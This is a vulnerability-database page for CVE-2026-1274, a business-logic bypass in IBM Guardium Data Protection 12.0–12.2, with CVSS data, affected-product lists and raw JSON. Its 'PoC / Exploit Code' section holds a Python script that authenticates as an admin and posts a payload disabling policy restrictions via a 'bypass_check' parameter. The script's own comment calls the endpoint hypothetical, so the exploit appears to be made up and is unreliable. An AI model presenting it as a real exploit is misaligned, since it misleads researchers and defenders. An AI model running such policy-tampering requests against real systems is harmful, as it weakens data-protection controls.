Security Vulnerability Report
中文
CVE-2026-1274 CVSS 4.9 MEDIUM

CVE-2026-1274

Published: 2026-04-23 00:16:45
Last Modified: 2026-04-27 18:23:14

Description

IBM Guardium Data Protection 12.0, 12.1, and 12.2 is vulnerable to a Bypass Business Logic vulnerability in the access management control panel.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:ibm:guardium_data_protection:12.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:guardium_data_protection:12.1:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:ibm:guardium_data_protection:12.2:*:*:*:*:*:*:* - VULNERABLE
IBM Guardium Data Protection 12.0
IBM Guardium Data Protection 12.1
IBM Guardium Data Protection 12.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target URL for the access management API (Hypothetical) target_url = "https://<target-ip>/api/v1/access_management/control_panel" # High privilege credentials (Required by PR:H) credentials = { "username": "admin", "password": "admin_password" } def exploit_logic_bypass(): session = requests.Session() # Step 1: Authenticate to obtain a valid session print("[+] Attempting to login as high-privilege user...") login_resp = session.post("https://<target-ip>/api/v1/login", json=credentials) if login_resp.status_code != 200: print("[-] Authentication failed.") return print("[+] Authentication successful.") # Step 2: Construct payload to bypass business logic # Scenario: Modifying a critical setting that is normally read-only or requires extra approval payload = { "action": "update_policy", "policy_id": 1001, "restriction_level": "none", # Malicious change "bypass_check": "true" # Parameter intended to trigger the logic flaw } headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } # Step 3: Send the malicious request print(f"[+] Sending payload to {target_url}...") response = session.post(target_url, json=payload, headers=headers, verify=False) # Step 4: Check if the logic was bypassed if response.status_code == 200 and "success" in response.json(): print("[+] Exploit successful! Business logic bypassed.") print(f"[+] Response: {response.text}") else: print("[-] Exploit failed or patch applied.") print(f"[-] Response: {response.text}") if __name__ == "__main__": exploit_logic_bypass()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1274", "sourceIdentifier": "[email protected]", "published": "2026-04-23T00:16:44.583", "lastModified": "2026-04-27T18:23:14.067", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "IBM Guardium Data Protection 12.0, 12.1, and 12.2 is vulnerable to a Bypass Business Logic vulnerability in the access management control panel."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-840"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ibm:guardium_data_protection:12.0:*:*:*:*:*:*:*", "matchCriteriaId": "44547892-7BC2-4158-90F2-1399EB1A9DE7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:guardium_data_protection:12.1:*:*:*:*:*:*:*", "matchCriteriaId": "EADF2641-F8DF-4986-8106-287C615DE19D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:ibm:guardium_data_protection:12.2:*:*:*:*:*:*:*", "matchCriteriaId": "CBA75153-5681-40C8-8EB4-236EF2EC8A4B"}]}]}], "references": [{"url": "https://www.ibm.com/support/pages/node/7269445", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}